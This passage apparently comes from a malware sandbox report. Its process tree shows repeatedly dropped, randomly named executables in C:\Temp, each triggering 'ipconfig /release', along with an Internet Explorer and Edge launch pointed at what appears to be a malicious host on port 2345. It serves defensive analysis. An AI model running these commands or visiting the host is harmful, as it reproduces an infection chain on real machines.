      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4616
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2172
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4340
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_omgeywqolg.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1216
  - - C:\Temp\i_omgeywqolg.exe
      C:\Temp\i_omgeywqolg.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4404
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\gdywqoigay.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1200
  - - C:\Temp\gdywqoigay.exe
      C:\Temp\gdywqoigay.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2496
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:6036
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2636
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_gdywqoigay.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1936
  - - C:\Temp\i_gdywqoigay.exe
      C:\Temp\i_gdywqoigay.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5180
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\dbvtnlidbv.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3864
  - - C:\Temp\dbvtnlidbv.exe
      C:\Temp\dbvtnlidbv.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1960
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4360
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1408
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_dbvtnlidbv.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:976
  - - C:\Temp\i_dbvtnlidbv.exe
      C:\Temp\i_dbvtnlidbv.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4664
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qkigavsnli.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4836
  - - C:\Temp\qkigavsnli.exe
      C:\Temp\qkigavsnli.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5440
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2264
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4456
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qkigavsnli.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4404
  - - C:\Temp\i_qkigavsnli.exe
      C:\Temp\i_qkigavsnli.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4280
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\fzxvpnhfax.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4620
  - - C:\Temp\fzxvpnhfax.exe
      C:\Temp\fzxvpnhfax.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2480
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2636
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5004
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_fzxvpnhfax.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4372
  - - C:\Temp\i_fzxvpnhfax.exe
      C:\Temp\i_fzxvpnhfax.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:260
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\uspkhcausm.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2012
  - - C:\Temp\uspkhcausm.exe
      C:\Temp\uspkhcausm.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:364
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1976
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4848
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_uspkhcausm.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1964
  - - C:\Temp\i_uspkhcausm.exe
      C:\Temp\i_uspkhcausm.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2824
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\zxrpjhczur.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4636
  - - C:\Temp\zxrpjhczur.exe
      C:\Temp\zxrpjhczur.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3164
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2520
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4908
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_zxrpjhczur.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5632
  - - C:\Temp\i_zxrpjhczur.exe
      C:\Temp\i_zxrpjhczur.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1788
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\omjhczurmk.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4284
  - - C:\Temp\omjhczurmk.exe
      C:\Temp\omjhczurmk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4736
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1288
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5588
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_omjhczurmk.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:788
  - - C:\Temp\i_omjhczurmk.exe
      C:\Temp\i_omjhczurmk.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5384
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jhbztrljdb.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4472
  - - C:\Temp\jhbztrljdb.exe
      C:\Temp\jhbztrljdb.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2192
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2020
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1812
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jhbztrljdb.exe ups_ins
    3⤵
    PID:1348
  - - C:\Temp\i_jhbztrljdb.exe
      C:\Temp\i_jhbztrljdb.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6064
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jgaytqljgb.exe ups_run
    3⤵
    PID:3100
  - - C:\Temp\jgaytqljgb.exe
      C:\Temp\jgaytqljgb.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3880
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4932
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2000
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jgaytqljgb.exe ups_ins
    3⤵
    PID:1724
  - - C:\Temp\i_jgaytqljgb.exe
      C:\Temp\i_jgaytqljgb.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4820
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\dbvtnljdbv.exe ups_run
    3⤵
    PID:3988
  - - C:\Temp\dbvtnljdbv.exe
      C:\Temp\dbvtnljdbv.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5976
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3296
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1396
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_dbvtnljdbv.exe ups_ins
    3⤵
    PID:4184
  - - C:\Temp\i_dbvtnljdbv.exe
      C:\Temp\i_dbvtnljdbv.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2620
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ysqkidaysq.exe ups_run
    3⤵
    PID:5760
  - - C:\Temp\ysqkidaysq.exe
      C:\Temp\ysqkidaysq.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5740
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5872
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2716
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ysqkidaysq.exe ups_ins
    3⤵
    PID:5856
  - - C:\Temp\i_ysqkidaysq.exe
      C:\Temp\i_ysqkidaysq.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3484
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vsqkicavsn.exe ups_run
    3⤵
    PID:4564
  - - C:\Temp\vsqkicavsn.exe
      C:\Temp\vsqkicavsn.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5208
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3404
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:200
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vsqkicavsn.exe ups_ins
    3⤵
    PID:4720
  - - C:\Temp\i_vsqkicavsn.exe
      C:\Temp\i_vsqkicavsn.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2688
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\hfcxusmkfz.exe ups_run
    3⤵
    PID:2372
  - - C:\Temp\hfcxusmkfz.exe
      C:\Temp\hfcxusmkfz.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4816
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1792
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1512
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_hfcxusmkfz.exe ups_ins
    3⤵
    PID:2896
  - - C:\Temp\i_hfcxusmkfz.exe
      C:\Temp\i_hfcxusmkfz.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3304
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\hfzxrpkhcw.exe ups_run
    3⤵
    PID:4628
  - - C:\Temp\hfzxrpkhcw.exe
      C:\Temp\hfzxrpkhcw.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3608
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4960
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4948
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_hfzxrpkhcw.exe ups_ins
    3⤵
    PID:4536
  - - C:\Temp\i_hfzxrpkhcw.exe
      C:\Temp\i_hfzxrpkhcw.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4760
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\zurpjebzur.exe ups_run
    3⤵
    PID:6084
  - - C:\Temp\zurpjebzur.exe
      C:\Temp\zurpjebzur.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1524
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3552
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:800
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_zurpjebzur.exe ups_ins
    3⤵
    PID:5012
  - - C:\Temp\i_zurpjebzur.exe
      C:\Temp\i_zurpjebzur.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3220
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ljhbztrlge.exe ups_run
    3⤵
    PID:5184
  - - C:\Temp\ljhbztrlge.exe
      C:\Temp\ljhbztrlge.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3024
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4100
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5728
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ljhbztrlge.exe ups_ins
    3⤵
    PID:4956
  - - C:\Temp\i_ljhbztrlge.exe
      C:\Temp\i_ljhbztrlge.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5164
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bywqojgbzt.exe ups_run
    3⤵
    PID:1092
  - - C:\Temp\bywqojgbzt.exe
      C:\Temp\bywqojgbzt.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5232
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3916
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4596
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:5168
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:1948
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x314,0x7fff0f0dc188,0x7fff0f0dc194,0x7fff0f0dc1a0
      4⤵
      PID:6068
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1720,i,7422540503862897094,14858661641267408979,262144 --field-trial-handle=2344,i,14118071789427504469,83274752612353896,262144 --variations-seed-version --mojo-platform-channel-handle=2340 /prefetch:2
      4⤵
      PID:2560
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1952,i,3942346296739263816,9861077791605986228,524288 --field-trial-handle=2344,i,14118071789427504469,83274752612353896,262144 --variations-seed-version --mojo-platform-channel-handle=2376 /prefetch:11
      4⤵
      System Time Discovery
      PID:3408
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2480,i,10098560052903618455,18255932856455337539,524288 --field-trial-handle=2344,i,14118071789427504469,83274752612353896,262144 --variations-seed-version --mojo-platform-channel-handle=3144 /prefetch:13
      4⤵
      PID:6032
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3636,i,7026548116015593043,9697290994825439969,2097152 --field-trial-handle=2344,i,14118071789427504469,83274752612353896,262144 --variations-seed-version --mojo-platform-channel-handle=3652 /prefetch:1
      4⤵
      PID:1920
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3644,i,18399275276832344798,7974788573869140347,2097152 --field-trial-handle=2344,i,14118071789427504469,83274752612353896,262144 --variations-seed-version --mojo-platform-channel-handle=3712 /prefetch:1
      4⤵
      PID:1848
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4280,i,10721017035481575234,7587685414936414313,2097152 --field-trial-handle=2344,i,14118071789427504469,83274752612353896,262144 --variations-seed-version --mojo-platform-channel-handle=4948 /prefetch:1
      4⤵
      PID:5584
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4292,i,12287933543691973416,4418787165161035739,2097152 --field-trial-handle=2344,i,14118071789427504469,83274752612353896,262144 --variations-seed-version --mojo-platform-channel-handle=4952 /prefetch:9
      4⤵
      PID:2896
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5416,i,6775422352849909868,16838080433339159956,524288 --field-trial-handle=2344,i,14118071789427504469,83274752612353896,262144 --variations-seed-version --mojo-platform-channel-handle=5424 /prefetch:14
      4⤵
      PID:4500
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5504,i,18392692653265985893,17595629087350822220,524288 --field-trial-handle=2344,i,14118071789427504469,83274752612353896,262144 --variations-seed-version --mojo-platform-channel-handle=5508 /prefetch:14
      4⤵
      PID:1292
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5492,i,9770432298428662561,5013489343159483621,524288 --field-trial-handle=2344,i,14118071789427504469,83274752612353896,262144 --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:14
      4⤵
      PID:716
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6104,i,3910842235676892815,7152219360412845897,524288 --field-trial-handle=2344,i,14118071789427504469,83274752612353896,262144 --variations-seed-version --mojo-platform-channel-handle=5864 /prefetch:14
      4⤵
      PID:5612
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6104,i,3910842235676892815,7152219360412845897,524288 --field-trial-handle=2344,i,14118071789427504469,83274752612353896,262144 --variations-seed-version --mojo-platform-channel-handle=5864 /prefetch:14
      4⤵
      PID:2788
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6316,i,10439909475145487528,7426205268439012064,524288 --field-trial-handle=2344,i,14118071789427504469,83274752612353896,262144 --variations-seed-version --mojo-platform-channel-handle=6308 /prefetch:14
      4⤵
      PID:2716
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6352,i,3648498708170681287,18273176177109650533,524288 --field-trial-handle=2344,i,14118071789427504469,83274752612353896,262144 --variations-seed-version --mojo-platform-channel-handle=6560 /prefetch:14
      4⤵
      PID:4564
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5124,i,15236040054456287929,6738172657130000510,524288 --field-trial-handle=2344,i,14118071789427504469,83274752612353896,262144 --variations-seed-version --mojo-platform-channel-handle=3852 /prefetch:14
      4⤵
      PID:1316
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5200,i,8394641809099827357,12730076699307919744,524288 --field-trial-handle=2344,i,14118071789427504469,83274752612353896,262144 --variations-seed-version --mojo-platform-channel-handle=3804 /prefetch:14
      4⤵
      PID:1976
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5204,i,314997867978098859,11428401323574151584,524288 --field-trial-handle=2344,i,14118071789427504469,83274752612353896,262144 --variations-seed-version --mojo-platform-channel-handle=5136 /prefetch:14
      4⤵
      PID:4788
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3336,i,2410790628050546657,14862528115794142059,524288 --field-trial-handle=2344,i,14118071789427504469,83274752612353896,262144 --variations-seed-version --mojo-platform-channel-handle=5688 /prefetch:14
      4⤵
      PID:896
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5740,i,13853035277545445805,1527981772161717820,524288 --field-trial-handle=2344,i,14118071789427504469,83274752612353896,262144 --variations-seed-version --mojo-platform-channel-handle=5716 /prefetch:14
      4⤵
      PID:3240
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5192,i,3848819981825142434,7047139032005108825,524288 --field-trial-handle=2344,i,14118071789427504469,83274752612353896,262144 --variations-seed-version --mojo-platform-channel-handle=2496 /prefetch:14
      4⤵
      PID:256
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
